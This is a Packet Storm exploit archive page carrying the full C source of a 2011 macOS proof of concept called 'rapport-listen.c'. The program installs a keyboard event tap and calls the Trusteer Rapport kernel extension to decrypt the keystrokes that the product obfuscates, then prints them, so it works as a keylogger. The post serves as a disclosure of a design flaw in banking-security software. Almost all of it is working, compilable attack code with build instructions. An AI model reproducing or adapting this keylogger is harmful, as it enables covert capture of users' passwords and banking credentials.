what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Trusteer Rapport Key Decryptor / Keylogger

Trusteer Rapport Key Decryptor / Keylogger
Posted Sep 21, 2011
Authored by mu-b | Site digit-labs.org

Trusteer Rapport key decryptor / keylogger exploit that uses Trusteer's own functionality to 'decrypt' keys directly.

tags | exploit
SHA-256 | c8f6cb87a1da1cd5f8ebbf54d12f5416d0be16db65d6f07abce191af94431441

Trusteer Rapport Key Decryptor / Keylogger

Change Mirror Download
/* rapport-listen.c
*
* Copyright (c) 2011 by <mu-b@digit-labs.org>
*
* Trusteer Rapport key decryptor/keylogger
* by mu-b - Thu 07 Jul 2011
*
* - Tested on: Trusteer Rapport (Apple MACOS X 10.6.4)
*
* erm, broken design you might say? some might say useless.
*
* compile: gcc -Wall rapport-listen.c -o rapport-listen -framework IOKit -framework ApplicationServices
*
* - Private Source Code -DO NOT DISTRIBUTE -
* http://www.digit-labs.org/ -- Digit-Labs 2011!@$!
*/

#include <stdio.h>
#include <stdlib.h>

#include <ApplicationServices/ApplicationServices.h>

io_connect_t rapport_port;

static CGEventRef
keylogger_callback (CGEventTapProxy proxy, CGEventType type,
CGEventRef event, void *refcon)
{
kern_return_t kr;
uint64_t input_key, decrypt_key;
uint32_t decrypt_size;

if (type != kCGEventKeyDown)
return (event);

CGKeyCode keycode = (CGKeyCode) CGEventGetIntegerValueField (event, kCGKeyboardEventKeycode);

input_key = keycode;
decrypt_key = 0;
decrypt_size = 1;
kr = IOConnectCallScalarMethod (rapport_port, 1, &input_key, 1, &decrypt_key, &decrypt_size);
if (kr == kIOReturnSuccess)
{
fprintf (stdout, "output, e: %d, d: %d\n", (uint32_t) input_key, (uint32_t) decrypt_key);
}

return (event);
}

int
main (int argc, char **argv)
{
CFMachPortRef eventTap;
CGEventMask eventMask;
CFRunLoopSourceRef runLoopSource;
io_service_t service;
kern_return_t kr;

printf ("Trusteer Rapport key decryptor/keylogger\n"
"by: <mu-b@digit-labs.org>\n"
"http://www.digit-labs.org/ -- Digit-Labs 2011!@$!\n\n");

service = IOServiceGetMatchingService (kIOMasterPortDefault,
IOServiceMatching("com_trusteer_rapportke"));
if (!service)
{
fprintf (stderr, "* IOServiceGetMatchingService failed, rapport running?\n");
return (EXIT_FAILURE);
}

rapport_port = (io_connect_t) 0;
kr = IOServiceOpen (service, mach_task_self (), 0, &rapport_port);
IOObjectRelease (service);

if (kr != kIOReturnSuccess)
{
fprintf (stderr, "* IOServiceOpen failed\n");
return (EXIT_FAILURE);
}

eventMask = (1 << kCGEventKeyDown);
eventTap = CGEventTapCreate (kCGSessionEventTap, kCGHeadInsertEventTap, 0,
eventMask, keylogger_callback, NULL);
if (!eventTap)
{
fprintf (stderr, "* failed to create event tap\n");
return (EXIT_FAILURE);
}

runLoopSource = CFMachPortCreateRunLoopSource (kCFAllocatorDefault, eventTap, 0);

CFRunLoopAddSource (CFRunLoopGetCurrent (), runLoopSource, kCFRunLoopCommonModes);
CGEventTapEnable (eventTap, true);

printf ("* waiting for keys\n");
CFRunLoopRun ();

return (EXIT_SUCCESS);
}
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    0 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    0 Files
  • 9
    Sep 9th
    0 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close